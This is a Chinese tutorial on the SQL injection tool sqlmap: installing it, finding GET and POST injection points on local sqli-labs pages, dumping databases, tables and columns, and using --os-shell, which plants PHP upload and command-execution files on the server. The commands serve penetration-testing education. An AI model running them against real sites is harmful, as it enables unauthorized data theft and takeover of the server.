SQL注入之sqlmap

news/2024/12/12 7:17:53/

SQL注入之sqlmap

6.1 SQL注入之sqlmap安装

sqlmap简介:

sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MS-SQL,MYSQL,ORACLE和POSTGRESQL。SQLMAP采用四种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,堆查询和基于时间的SQL盲注入。其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。

准备工作:

(1) Python

https://www.python.org/

image.png

默认全选,下一步

image.png

更改安装路径即可

image.png

(2) SQLMap

https://sqlmap.org/

下载sqlmap:

image.png

下载完成,进行解压文件,推荐除C盘以外其他盘符

image.png

在安装路径下,输入cmd

image.png

启动cmd,输入sqlmap.py 检测是否运行成功!

image.png

在这里插入图片描述

在这里插入图片描述

6.2 SQL注入之sqlmap使用(get型注入)

一、SQLMap介绍

  1. Sqlmap简介:

    Sqlmap是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

    目前支持的数据库有MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access等大多数据库。

  2. Sqlmap支持的注入方式:

    Sqlmap全面支持六种SQL注入技术:

    • 基于布尔类型的盲注:即可以根据返回页面判断条件真假的注入。
    • 基于时间的盲注:即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断。
    • 基于报错注入:即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
    • 联合查询注入:在可以使用Union的情况下的注入。
    • 堆查询注入:可以同时执行多条语句时的注入。
    • 带外注入:构造SQL语句,这些语句在呈现给数据库时会触发数据库系统创建与攻击者控制的外部服务器的连接。以这种方式,攻击者可以收集数据或可能控制数据库的行为。

二、SQLMap使用

判断是否存在注入:

假设目标注入点是 http://127.0.0.1/sqli-labs/Less-1/?id=1,判断其是否存在注入的命令如下:

sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1

当注入点后面的参数大于等于两个时,需要加双引号,如下所示。

sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1&uid=2"

运行完判断是否存在注入的语句后,爆出一大段代码,这里有三处需要选择的地方:第一处的意思为检测到数据库可能是MySQL,是否需要跳过检测其他数据库;第二处的意思是在“level1、risk1”的情况下,是否使用MySQL对应的所有Payload进行检测;第三处的意思是参数 id存在漏洞,是否要继续检测其他参数,一般默认按回车键即可。

常用命令:

-u:用于get提交方式,后面跟注入的url网址
--level
--risk
level:执行测试的等级(1~5,默认为1),使用--level参数并且数值>=2的时候会检查cookie里面的参数,当>=3时检查user-agent和referer
risk:执行测试的风险(0~3,默认为1),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加or语句的sql注入--dbs:获取所有数据库
--tales:获取所有数据表
--columns:获取所有字段
--dump:打印数据-D:查询选择某个库
-T:查询选择某个表
-C:查询选择某个字段

在这里插入图片描述

6.3 SQL注入之sqlmap使用(post型注入)

POST型:与数据库交互是通过post数据进行,URL不可见

利用sqlmap进行POST注入,常见的有三种方法:

注入方式一(使用最多):
  1. 用Burp抓包,然后保存抓取到的内容。例如:保存为1.txt,然后把它放至某个目录下

    image.png

  2. 列数据库

    sqlmap.py -r C:\Users\ZQ\Desktop\1.txt -p uname --dbs

    也可以使用 * 指定需要测试的参数(不推荐)

    it looks like the back-end DBMS is ‘MySQL’. Do you want to skip test payloads specific for other DBMSes? [Y/n]
    它看起来像后端DBMS是’MySQL’。 是否要跳过特定于其他DBMS的测试负载? [Y/n] 输入"Y"

    1for the remaining tests, do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1) values? [Y/n]
    对于剩余的测试,您想要包括所有针对“MySQL”扩展提供的级别(1)和风险(1)值的测试吗? [Y/n] 输入"N"

    1POST parameter ‘n’ is vulnerable. Do you want to keep testing the others (if any)? [y/N]
    POST参数’n’是脆弱的。 你想继续测试其他的(如果有的话)吗?[y/N] 输入"Y"

  3. 猜表

    选择一个数据库,比如选test

    sqlmap.py -r C:\Users\ZQ\Desktop\1.txt -p uname -D test --tables

    image.png

  4. 猜列

    sqlmap.py -r C:\Users\ZQ\Desktop\1.txt -p uname -D test -T t1 --columns

    image.png

注入方式二:自动搜索表单的方式

sqlmap.py -u “http://localhost/sqli-labs-master/Less-11/index.php” --forms

image.png

do you want to test this form? [Y/n/q]
要测试此表单吗?[Y/n/q] 输入"Y"

do you want to fill blank fields with random values? [Y/n]
是否要填充带有随机值的空白字段? [Y/n] 输入"Y"

it looks like the back-end DBMS is ‘MySQL’. Do you want to skip test payloads specific for other DBMSes? [Y/n]
它看起来像后端DBMS是’MySQL’。 是否要跳过特定于其他DBMS的测试负载? [Y/n] 输入"Y"

for the remaining tests, do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1) values? [Y/n]
对于剩余的测试,您想要包括所有针对“MySQL”扩展提供的级别(1)和风险(1)值的测试吗?[Y/n] 输入"N"

POST parameter ‘n’ is vulnerable. Do you want to keep testing the others (if any)? [y/N]
POST参数’n’是脆弱的。 你想继续测试其他人(如果有的话)吗?[y/N] 输入"N"

do you want to exploit this SQL injection? [Y/n]
你想利用SQL注入? 输入"Y"

image.png

常用命令:

-r表示加载一个文件,-p指定参数
--current-db 当前数据库
--forms 自动检测表单
-data 指定表单里的某个数据(用的少)

6.4 SQL注入之sqlmap获取shell

–os-shell的执行条件有四个:

(1)网站数据库必须是root权限

(2)攻击者需要知道网站的绝对路径

(3)GPC为off,PHP主动转义的功能关闭

(4)secure_file_priv无限制

首先使用 --is-dba命令查看是否为管理员,若不是,则无法使用–os-shell命令。

或者可以使用 --users 查看账号权限

sqlmap -r 1.txt --users --level=3

os-shell 执行原理

--os-shell的本质就是写入两个php文件,其中的tmpumjti.php可以让我们上传文件到网站路径下

sqlmap就会通过上面那个php上传一个用于命令执行的tmpubpwk.php到网站路径下让我们执行命令,并将输出的内容返回到sqlmap端。

总结

sqlmap的--os-shell在mysql数据库中的原理,其实就是往服务器上写入了两个php,其中一个给我们提供了文件上传的页面,可以通过这个上传页面上传脚本到当前目录下。另外一个则是返回了可以让我们执行系统命令的命令行,命令行也可以在网页url中通过cmd参数传参执行系统命令。


http://www.ppmy.cn/news/1001908.html

相关文章

git面试题

文章目录 git经常用哪些指令git出现代码冲突怎么解决你们团队是怎么管理git分支的如何实现Git的免密操作 git经常用哪些指令 产生代码库 新建一个git代码库 git init下载远程项目和它的整个代码历史 git clone 远程仓库地址配置 显示配置 git config --list [--global]编辑配置…

leetcode----JavaScript 详情题解(3)

目录 2667. 创建 Hello World 函数 2677. 分块数组 2693. 使用自定义上下文调用函数 2695. 包装数组 2703. 返回传递的参数的长度 2704. 相等还是不相等 2705. 精简对象 2715. 执行可取消的延迟函数 2721. 并行执行异步函数 2667. 创建 Hello World 函数 请你编写一个…

Linux系统下MySQL读写分离

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 目录 一、基于Amoeba读写分离 1.基于程序代码内部实现 2.基于中间代理层实现 三、操作步骤 1.在主机Amoeba上安装java环境 2.安装并配置Amoeba 3.配置Amoeba读写分离…

Doris比MySQL快的原因

简介 在数据存储和数据分析领域,MySQL和Doris是比较流行的数据库管理系统的代表。 在如今的大数据时代,数据量和数据分析的速度是很重要的。 在数据分析和数据处理中,Doris比MySQL快,这个问题一直是许多人关心的问题。 Doris的数…

【C++】初阶 --- 引用(超级详细版!!!)

文章目录 🍪一、引用的概念🍪二、引用的特性🍿1、引用在定义时必须初始化🍿2、一个变量可以有多个引用🍿3、引用一旦引用一个实体,再不能引用其他实体 🍪三、常引用(被const 修饰的引用)&#x…

链表(二) 双链表操作详解

文章目录 四、双向带头循环链表的实现List.hList.c创建返回链表的头结点双向链表打印双向链表尾插双向链表尾删双向链表头插双向链表头删双向链表查找双向链表在pos的前面进行插入双向链表删除pos位置的节点 五、单链表与双链表比较 什么是链表及单链表的实现请跳转&#xff1a…

【leetcode】203. 移除链表元素(easy)

给你一个链表的头节点 head 和一个整数 val ,请你删除链表中所有满足 Node.val val 的节点,并返回 新的头节点 。 /*** Definition for singly-linked list.* public class ListNode {* int val;* ListNode next;* ListNode() {}* Lis…

垃圾回收机制和常用的算法

一.什么是垃圾回收? 垃圾回收主要针对堆和方法区(非堆),程序计数器,虚拟机栈,本地方法栈这三个区域属于线程私有,随着线程的销毁,自然就会雄安会了,因此不需要堆着三个区域进行垃圾…